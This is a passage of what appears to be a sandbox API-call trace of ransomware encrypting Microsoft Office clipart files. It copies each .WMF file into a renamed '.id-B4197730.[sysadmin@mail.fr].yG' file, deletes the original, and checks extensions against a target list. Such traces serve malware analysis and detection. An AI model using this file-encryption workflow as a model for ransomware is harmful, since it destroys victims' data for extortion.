	[0145.307] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.307] lstrlenW (lpString="FD00076_.WMF") returned 12
	[0145.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.307] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=11994) returned 1
	[0145.307] CloseHandle (hObject=0x518) returned 1
	[0145.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220
	[0145.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.308] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.308] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0145.309] GetLastError () returned 0x0
	[0145.309] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2eda, lpOverlapped=0x0) returned 1
	[0145.451] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2ee0, lpOverlapped=0x0) returned 1
	[0145.452] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.452] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.453] SetEndOfFile (hFile=0x4d8) returned 1
	[0145.453] CloseHandle (hObject=0x4d8) returned 1
	[0145.453] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.453] SetEndOfFile (hFile=0x518) returned 1
	[0145.457] CloseHandle (hObject=0x518) returned 1
	[0145.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0145.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.994] lstrlenW (lpString=".doc") returned 4
	[0145.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.994] lstrlenW (lpString=".docx") returned 5
	[0145.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.994] lstrlenW (lpString=".pdf") returned 4
	[0145.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString=".xls") returned 4
	[0145.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.995] lstrlenW (lpString=".xlsx") returned 5
	[0145.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.995] lstrlenW (lpString=".ppt") returned 4
	[0145.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString=".zip") returned 4
	[0145.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.995] lstrlenW (lpString=".rar") returned 4
	[0145.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString=".bz2") returned 4
	[0145.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString=".7z") returned 3
	[0145.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString=".dbf") returned 4
	[0145.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString=".1cd") returned 4
	[0145.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString=".jpg") returned 4
	[0145.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.995] lstrlenW (lpString=".doc") returned 4
	[0145.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.996] lstrlenW (lpString=".docx") returned 5
	[0145.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.996] lstrlenW (lpString=".pdf") returned 4
	[0145.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.996] lstrlenW (lpString=".xls") returned 4
	[0145.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.996] lstrlenW (lpString=".xlsx") returned 5
	[0145.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.996] lstrlenW (lpString=".ppt") returned 4
	[0145.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.996] lstrlenW (lpString=".zip") returned 4
	[0145.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.996] lstrlenW (lpString=".rar") returned 4
	[0145.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.996] lstrlenW (lpString=".bz2") returned 4
	[0145.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.996] lstrlenW (lpString=".7z") returned 3
	[0145.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.997] lstrlenW (lpString=".dbf") returned 4
	[0145.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.997] lstrlenW (lpString=".1cd") returned 4
	[0145.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0145.997] lstrlenW (lpString=".jpg") returned 4
	[0145.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.997] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.997] lstrlenW (lpString="FD00297_.WMF") returned 12
	[0145.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0145.998] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=18194) returned 1
	[0145.998] CloseHandle (hObject=0x54c) returned 1
	[0145.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220
	[0145.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0145.999] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.999] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0146.258] GetLastError () returned 0x0
	[0146.258] ReadFile (in: hFile=0x54c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4712, lpOverlapped=0x0) returned 1
	[0146.389] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4720, lpOverlapped=0x0) returned 1
	[0146.391] ReadFile (in: hFile=0x54c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.391] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.391] SetEndOfFile (hFile=0x538) returned 1
	[0146.407] CloseHandle (hObject=0x538) returned 1
	[0146.408] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.408] SetEndOfFile (hFile=0x54c) returned 1
	[0146.431] CloseHandle (hObject=0x54c) returned 1
	[0146.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0146.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.470] lstrlenW (lpString=".doc") returned 4
	[0146.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString=".docx") returned 5
	[0146.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.471] lstrlenW (lpString=".pdf") returned 4
	[0146.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString=".xls") returned 4
	[0146.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.471] lstrlenW (lpString=".xlsx") returned 5
	[0146.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.471] lstrlenW (lpString=".ppt") returned 4
	[0146.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.471] lstrlenW (lpString=".zip") returned 4
	[0146.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.471] lstrlenW (lpString=".rar") returned 4
	[0146.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString=".bz2") returned 4
	[0146.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString=".7z") returned 3
	[0146.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.471] lstrlenW (lpString=".dbf") returned 4
	[0146.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.471] lstrlenW (lpString=".1cd") returned 4
	[0146.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.471] lstrlenW (lpString=".jpg") returned 4
	[0146.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString=".doc") returned 4
	[0146.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString=".docx") returned 5
	[0146.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.472] lstrlenW (lpString=".pdf") returned 4
	[0146.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString=".xls") returned 4
	[0146.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.472] lstrlenW (lpString=".xlsx") returned 5
	[0146.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.472] lstrlenW (lpString=".ppt") returned 4
	[0146.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString=".zip") returned 4
	[0146.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.472] lstrlenW (lpString=".rar") returned 4
	[0146.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString=".bz2") returned 4
	[0146.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString=".7z") returned 3
	[0146.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString=".dbf") returned 4
	[0146.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString=".1cd") returned 4
	[0146.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0146.472] lstrlenW (lpString=".jpg") returned 4
	[0146.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.473] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.473] lstrlenW (lpString="FD00361_.WMF") returned 12
	[0146.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0146.814] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4074) returned 1
	[0146.814] CloseHandle (hObject=0x544) returned 1
	[0146.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220
	[0146.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0146.815] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.815] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0146.816] GetLastError () returned 0x0
	[0146.816] ReadFile (in: hFile=0x544, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xfea, lpOverlapped=0x0) returned 1
	[0146.833] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0146.834] ReadFile (in: hFile=0x544, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.834] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.834] SetEndOfFile (hFile=0x550) returned 1
	[0146.835] CloseHandle (hObject=0x550) returned 1
	[0146.835] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.835] SetEndOfFile (hFile=0x544) returned 1
	[0146.838] CloseHandle (hObject=0x544) returned 1
	[0146.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0146.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.839] lstrlenW (lpString=".doc") returned 4
	[0146.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.839] lstrlenW (lpString=".docx") returned 5
	[0146.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.839] lstrlenW (lpString=".pdf") returned 4
	[0146.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.840] lstrlenW (lpString=".xls") returned 4
	[0146.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.840] lstrlenW (lpString=".xlsx") returned 5
	[0146.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.840] lstrlenW (lpString=".ppt") returned 4
	[0146.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.840] lstrlenW (lpString=".zip") returned 4
	[0146.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.840] lstrlenW (lpString=".rar") returned 4
	[0146.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.840] lstrlenW (lpString=".bz2") returned 4
	[0146.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.840] lstrlenW (lpString=".7z") returned 3
	[0146.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.840] lstrlenW (lpString=".dbf") returned 4
	[0146.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.840] lstrlenW (lpString=".1cd") returned 4
	[0146.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.841] lstrlenW (lpString=".jpg") returned 4
	[0146.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.841] lstrlenW (lpString=".doc") returned 4
	[0146.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.841] lstrlenW (lpString=".docx") returned 5
	[0146.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.841] lstrlenW (lpString=".pdf") returned 4
	[0146.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.841] lstrlenW (lpString=".xls") returned 4
	[0146.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.841] lstrlenW (lpString=".xlsx") returned 5
	[0146.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.841] lstrlenW (lpString=".ppt") returned 4
	[0146.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.842] lstrlenW (lpString=".zip") returned 4
	[0146.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.842] lstrlenW (lpString=".rar") returned 4
	[0146.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.842] lstrlenW (lpString=".bz2") returned 4
	[0146.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.842] lstrlenW (lpString=".7z") returned 3
	[0146.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.842] lstrlenW (lpString=".dbf") returned 4
	[0146.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.842] lstrlenW (lpString=".1cd") returned 4
	[0146.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0146.842] lstrlenW (lpString=".jpg") returned 4
